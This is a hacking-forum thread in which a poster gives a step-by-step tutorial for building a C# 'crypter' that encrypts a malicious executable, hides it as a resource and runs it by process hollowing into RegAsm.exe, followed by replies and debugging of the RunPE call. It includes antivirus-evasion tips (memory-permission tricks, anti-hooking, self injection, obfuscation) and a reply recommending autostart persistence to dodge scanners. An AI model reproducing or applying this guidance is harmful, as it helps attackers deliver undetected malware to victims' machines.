[Freak_OG]

first of all i am going to link some sources 🕵️

https://github.com/NYAN-x-CAT/CSharp-RunPE

https://github.com/Arvanaghi/CheckPlease...aster/C%23

okay so lets jump right into it, this is how a crypter works:

1. load file from resources or EOF
2. decrypt file
3. load file
4. ???
5. run file
6. profit! 🤑🤑🤑

where ??? is your runpe method.


okay so, make a new program in visual studio, you can call it anything.

now add this code for decryption
https://pastebin.com/AdU2ZQnG
next add the runpe i linked to it, the includes are

Code

using System;
using System.Collections.Generic;
using System.Data;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Net;
using System.Net.NetworkInformation;
using System.Net.Sockets;
using System.Reflection;
using System.Resources;
using System.Runtime.InteropServices;
using System.Security.AccessControl;
using System.Security.Principal;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading;
using System.Windows.Forms;
using Microsoft.Win32;

now that you have added your runpe and decrypt code, we now need to need to add a resource.
first we must make another file in visual studio
you can just copy and paste this code into the app.😋
https://pastebin.com/GdM1JfPv

now run it, type in the full path of u exe u wanna encrypt.

then type the output file (MAKE SURE ITS .txt!!!)

next go back to our stub.

now right click your project and click add, then type resource.

name it resource1.resx (this is default)
add your resource as primary

now we are read for the fun part 😈
copy and paste this code into your forms main class
https://pastebin.com/ktJwJaNx

now compile your stub!!!
after it has compiled download a .net obfuscator (i recommend .netpatcher as it is from HF)

uncheck a few things like anti debug etc anti dlasm as this will increase detections

after obfuscating this is our result:



if you want a tip to modify the runpe can change the virtuallocex calls to use PAGE_NOACCESS and use virtualprotectex after with EXECUTE_READWRITE to modify the permissions back so antivirus cant read what you are writing.

I hope you enjoyed this as much as I did releasing it, thanks to nyancat this thread was possible, afterall we are using his runpe.


have a nice day! 💯💯💯💯

[VisualSoft]

Nice release buddy, Keep up the work.

[menato]

Nice share friend

This guy knows what he is doing

[SaketSaket]

Keep up the good work... Thanks...

[December]

Thanks for this release man <3

[gigajew]

Sleeper tactics are always good, like on first run just copy to a folder and add to automatic start and exit. That evades some scanners.

[tux1]

Nice tutorial, thanks for sharing!

[bmeale]

Duh?!? Thanks for sharing bro

[Smoky]

Great tutorial, I was trying to understand how it works here, a very good basis, thanks man !

[Freak_OG]

Thanks for the replies everyone, I hoped this tutorial helped you make your own crypter! There are around 3 different methods for runpe (only one I can remember is process hollowing.) some are less detected than others, manual DLL mapping can help with reducing of detections as well as make your stub alot more efficient, to avoid detections you usually need an ANTI hooking method of some kind as functions like readprocessmemory and writeprocessmemory are highly flagged by AVs. Self injection can avoid alot of things as it is kind of more "legal" to readprocessmemory and writeprocessmemory to your own process.

Glad I could help.

[KUi29929]

i'm newbie in c # so i didn't understand, should i paste the crypter code in my program.cs or make a new class?

[PandaBear]

Thank you for this. I've been looking to get into crypters for a while

[KUi29929]

giving "The type or namespace name 'Resource1' does not exist in the namespace 'ThanatosCrypt' (are you missing an assembly reference?)" error here.

well i have changed "ThanatosCrypt" to my local namespace and it workd like this:

Code

RunPE.Execute(Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), "RegAsm.exe"), Decryptor.Decrypt(Encoding.ASCII.GetBytes("DSNVLUOHFWE"), Encoding.Default.GetBytes(WindowsFormsApp11.Resource1.encodedtextfile)));

and after i compile i run, but virus dont work idk why, it justs dont start for some reason, can u pls clarify this for me bro? Thaaanx!

[Freak_OG]

giving "The type or namespace name 'Resource1' does not exist in the namespace 'ThanatosCrypt' (are you missing an assembly reference?)"error here.

well i have changed "ThanatosCrypt" to my local namespace and it workd like this:

Code

RunPE.Execute(Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), "RegAsm.exe"), Decryptor.Decrypt(Encoding.ASCII.GetBytes("DSNVLUOHFWE"), Encoding.Default.GetBytes(WindowsFormsApp11.Resource1.encodedtextfile)));

and after i compile i run, but virus dont work idk why, it justs dont start for some reason, can u pls clarify this for me bro? Thaaanx!

You need to run it differently, you are only running then decrypting

Code

RunPE.Execute(Decryptor.Decrypt(Encoding.ASCII.GetBytes("DSNVLUOHFWE"), Encoding.Default.GetBytes(WindowsFormsApp11.Resource1.encodedtextfile))), Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), "RegAsm.exe")),

[KUi29929]

You need to run it differently, you are only running then decrypting

Code

RunPE.Execute(Decryptor.Decrypt(Encoding.ASCII.GetBytes("DSNVLUOHFWE"), Encoding.Default.GetBytes(WindowsFormsApp11.Resource1.encodedtextfile))), Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), "RegAsm.exe")),

i put this

Code

RunPE.Execute(Decryptor.Decrypt(Encoding.ASCII.GetBytes("DSNVLUOHFWE"), Encoding.Default.GetBytes(WindowsFormsApp11.Resource1.encodedtextfile)), Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), "RegAsm.exe"));

still giving error now. "cannot convert from 'byte[]' to 'string'", and in the second "cannot convert from 'string' to 'byte[]'".

i think is bcs RunPE.Execute waits for

Code

Execute(string path, byte[] payload)

and not opposite right? I inverted to:

Code

Execute(byte[] payload, string path)

and the error disappears but when i compile and run nothing occurs

also i put this in my Program.cs:

Code

namespace WindowsFormsApp11
{
    static class Program
    {
        /// <summary>
        /// The main entry point for the application.
        /// </summary>
        [STAThread]
        static void Main()
        {
            Application.Run(new Form1());
        }
    }
}

Cause it has giving "main entry point not found" before, can be this?